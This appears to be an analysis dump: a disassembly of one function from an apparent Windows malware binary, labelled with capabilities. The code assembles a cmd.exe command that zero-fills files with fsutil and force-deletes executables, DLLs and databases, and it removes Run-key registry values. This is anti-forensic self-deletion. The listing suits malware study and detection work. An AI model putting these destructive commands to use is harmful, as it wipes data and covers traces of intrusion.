Function at 0x46d830
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x571366
mov eax, dword fs:[0]
push eax
mov eax, 0x11e4
call fcn.0052d270
mov eax, dword [0x5e8ea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov bl, cl
mov edx, 0x5ef9c8
mov dword [ebp - 0x11d8], 0
xor eax, eax
mov dword [ebp - 0x11d4], 7
mov word [ebp - 0x11e8], ax
lea ecx, [edx + 2]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x46d887
sub edx, ecx
lea ecx, [ebp - 0x11e8]
sar edx, 1
push edx
push 0x5ef9c8
call fcn.0044a890
mov dword [ebp - 4], 0
xor eax, eax
mov dword [ebp - 0x11c0], 0
mov dword [ebp - 0x11bc], 7
mov word [ebp - 0x11d0], ax
mov byte [ebp - 4], 1
test bl, bl
je 0x46d936
cmp dword [ebp - 0x11d4], 8
lea eax, [ebp - 0x11e8]
cmovae eax, dword [ebp - 0x11e8]
push eax
push 0x5efbd0
lea eax, [ebp - 0x9e8]
push str.ping_127.2__n_5__fsutil_file_setZeroData_offset0_length20000000___s___cd__d___s___Del__f__q__a_.exe_.bat
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [ebp - 0x11d0]
push 0xf
push str.cmd.exe__d__c__
call fcn.0044a890
lea ecx, [ebp - 0x9e8]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x46d920
lea eax, [ebp - 0x9e8]
jmp 0x46da61
push 0x5efbd0
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.00550106
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripPathW]
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
lea eax, [ebp - 0x11ec]
push 0
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
call ebx
test eax, eax
jne 0x46d9b4
lea eax, [ebp - 0x218]
push eax
push dword [ebp - 0x11ec]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 0x11ec]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
lea eax, [ebp - 0x11ec]
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push SysReAllocString
call ebx
test eax, eax
jne 0x46d9f9
lea eax, [ebp - 0x218]
push eax
push dword [ebp - 0x11ec]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 0x11ec]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x5ef9c8
call fcn.004678c0
cmp dword [ebp - 0x11d4], 8
lea eax, [ebp - 0x11e8]
cmovae eax, dword [ebp - 0x11e8]
push eax
push 0x5efbd0
lea eax, [ebp - 0x11b8]
push str.ping_127.2__n_5__fsutil_file_setZeroData_offset0_length20000000___s___cd__d___s___Del__f__q__a_.exe_.ini_.dll_.bat_.db
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [ebp - 0x11d0]
push 0xf
push str.cmd.exe__d__c__
call fcn.0044a890
lea ecx, [ebp - 0x11b8]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x46da50
lea eax, [ebp - 0x11b8]
sub ecx, edx
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x11d0]
call fcn.0044fc90
push 1
push 0x5d6db8
lea ecx, [ebp - 0x11d0]
call fcn.0044fc90
cmp dword [ebp - 0x11bc], 8
lea ecx, [ebp - 0x11d0]
push 0x2710
cmovae ecx, dword [ebp - 0x11d0]
xor edx, edx
push 0
call fcn.0046c380
mov edx, dword [ebp - 0x11bc]
add esp, 8
cmp edx, 8
jb 0x46dae9
mov ecx, dword [ebp - 0x11d0]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46dadf
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46db5c
push edx
push ecx
call fcn.0052cac7
add esp, 8
mov edx, dword [ebp - 0x11d4]
xor eax, eax
mov dword [ebp - 0x11c0], 0
mov dword [ebp - 0x11bc], 7
mov word [ebp - 0x11d0], ax
cmp edx, 8
jb 0x46db42
mov ecx, dword [ebp - 0x11e8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x46db38
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x46db61
push edx
push ecx
call fcn.0052cac7
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0052c886
mov esp, ebp
pop ebp
ret
call fcn.00548571
call fcn.00548571
int3